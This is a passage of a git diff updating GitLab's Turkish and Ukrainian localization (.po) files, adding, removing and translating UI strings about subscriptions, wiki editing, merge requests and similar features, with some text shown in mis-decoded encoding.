+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr "Destek sayfası URL'si"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Dal/etiketi deÄŸiÅŸtir"
@@ -31340,6 +32013,9 @@ msgstr "Åžablon"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Åžablonlar"
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr "Birleştirme isteği artık birleştirilebilir."
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr "Grup iş hattı dakikaları sıfırlanırken bir hata oluştu."
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr "Zaman takibi"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "İlk birleştirme isteğine kadar geçen süre"
@@ -33417,9 +34087,6 @@ msgstr[1] "dak"
msgid "Time|s"
msgstr "sn"
-msgid "Tip:"
-msgstr "Ä°pucu:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Gezinmeyi aç/kapat"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Kenar çubuğunu aç/kapat"
msgid "Toggle the Performance Bar"
msgstr "Performans Çubuğunu aç/kapat"
-msgid "Toggle this dialog"
-msgstr "Bu iletişim kutusunu aç/kapat"
-
msgid "Toggle thread"
msgstr "Konuyu aç/kapat"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Dosya yükle"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Genel bildirim ayarınızı kullanın"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr "-"
msgid "UserProfile|made a private contribution"
msgstr "özel bir katkı yaptı"
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Kullanıcılar"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "Bu aşamayı göstermek için yeterli veriye sahip değiliz."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Viki"
@@ -36278,6 +36981,12 @@ msgstr "%{pageTitle} sayfası silinsin mi?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "İçeriğinizi yazın veya dosyaları buraya sürükleyin…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr "Bu salt okunur GitLab örneğine yazamazsınız."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Uygulamalarınız (%{size})"
msgid "Your authorized applications"
msgstr "Yetkili uygulamalarınız"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "bu grupla zaten paylaştı"
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://sizin-bitbucket-sunucunuz"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "resim deÄŸiÅŸikliÄŸi"
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "birleÅŸtirme isteÄŸi"
msgstr[1] "birleÅŸtirme isteÄŸi"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr "%{timeAgo} birleÅŸtirildi"
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,12 +38991,9 @@ msgstr "Onaylayan:"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Otomatik birleÅŸtirmeyi iptal et"
-
msgid "mrWidget|Check out branch"
msgstr "Dalı kontrol et"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr "Dağıtım istatistikleri yükleniyor"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Bahsetmeler"
msgid "mrWidget|Merge"
msgstr "BirleÅŸtir"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Birleştirme başarısız."
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "bu belge"
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index e5a4abc5a61..b2c4fcd54cf 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,13 +14,13 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:18\n"
+"PO-Revision-Date: 2021-06-01 20:33\n"
msgid " %{name}, confirm your email address now! "
-msgstr ""
+msgstr " %{name}, підтвердьте Ñвою адреÑу електронної пошти зараз! "
msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
+msgstr " %{project_name}#%{issuable_iid} &middot; Ñтворили %{issuable_created} %{author} &middot; оновлених %{issuable_updated}"
msgid " %{start} to %{end}"
msgstr " %{start} до %{end}"
@@ -35,13 +35,13 @@ msgid " Please sign in."
msgstr " Будь лаÑка, увійдіть."
msgid " Target Path"
-msgstr ""
+msgstr " Цільовий шлÑÑ…"
msgid " Try to %{action} this file again."
msgstr " Спробуйте %{action} цей файл знову."
msgid " Type"
-msgstr ""
+msgstr " Тип"
msgid " You need to do this before %{grace_period_deadline}."
msgstr " Ви повинні зробити це до %{grace_period_deadline}."
@@ -73,7 +73,7 @@ msgid " or "
msgstr " або "
msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
-msgstr ""
+msgstr " Чи %{emphasisStart}!код злиттÑ%{emphasisEnd}"
msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
@@ -88,7 +88,7 @@ msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" не Ñ–Ñнував у \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
+msgstr "Розмір \"%{repository_name}\" (%{repository_size}) перевищує межу %{limit}."
msgid "\"el\" parameter is required for createInstance()"
msgstr "Параметр \"el\" необхідний Ð´Ð»Ñ createInstance()"
@@ -102,10 +102,10 @@ msgstr[3] "%d Затверджень"
msgid "%d Module"
msgid_plural "%d Modules"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Модуль"
+msgstr[1] "%d Модулі"
+msgstr[2] "%d Модулі"
+msgstr[3] "%d Модулів"
msgid "%d Other"
msgid_plural "%d Others"
@@ -158,10 +158,10 @@ msgstr[3] "%d змінених файлів"
msgid "%d character remaining"
msgid_plural "%d characters remaining"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "ЗалишивÑÑ Ñ‰Ðµ %d Ñимвол"
+msgstr[1] "ЗалишиоÑÑ Ñ‰Ðµ %d Ñимволи"
+msgstr[2] "ЗалишилоÑÑ Ñ‰Ðµ %d Ñимволів"
+msgstr[3] "ЗалишилоÑÑ Ñ‰Ðµ %d Ñимволів"
msgid "%d child epic"
msgid_plural "%d child epics"
@@ -252,10 +252,10 @@ msgstr[3] "%d помилок"
msgid "%d error found:"
msgid_plural "%d errors found:"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Знайдено %d помилку:"
+msgstr[1] "Знайдено %d помилки:"
+msgstr[2] "Знайдено %d помилок:"
+msgstr[3] "Знайдено %d помилок:"
msgid "%d exporter"
msgid_plural "%d exporters"
@@ -280,10 +280,10 @@ msgstr[3] ""
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d файл"
+msgstr[1] "%d файла"
+msgstr[2] "%d файлів"
+msgstr[3] "%d файлів"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d шар"
@@ -406,10 +413,10 @@ msgstr[3] ""
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d оÑобиÑтий проєкт буде видалений Ñ– не зможе бути відновлений."
+msgstr[1] "%d оÑобиÑÑ‚Ñ– проєкти будуть видалені Ñ– не зможуть бути відновлені."
+msgstr[2] "%d оÑобиÑтих проєктів будуть видалені Ñ– не зможуть бути відновлені."
+msgstr[3] "%d оÑобиÑтих проєктів будуть видалені Ñ– не зможуть бути відновлені."
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
@@ -476,10 +483,10 @@ msgstr[3] ""
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d невирішена тема"
+msgstr[1] "%d невирішені теми"
+msgstr[2] "%d невирішених тем"
+msgstr[3] "%d невирішених тем"
msgid "%d vulnerability"
msgid_plural "%d vulnerabilities"
@@ -526,7 +533,7 @@ msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disab
msgstr ""
msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
-msgstr ""
+msgstr "%{author_link} клонув(-ла) %{original_issue} до %{new_issue}."
msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
msgstr "%{author_link} клоновано%{original_issue}. Ви не маєте доÑтупу до нового проєкту."
@@ -544,7 +551,7 @@ msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking r
msgstr ""
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}Захищений:%{code_close} Відкритий лише захищеними гілками або тегами."
msgid "%{commit_author_link} authored %{commit_timeago}"
msgstr "%{commit_author_link} закомітив %{commit_timeago}"
@@ -560,7 +567,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "%{completedWeight} of %{totalWeight} weight completed"
-msgstr ""
+msgstr "%{completedWeight} з %{totalWeight} ваги виконано"
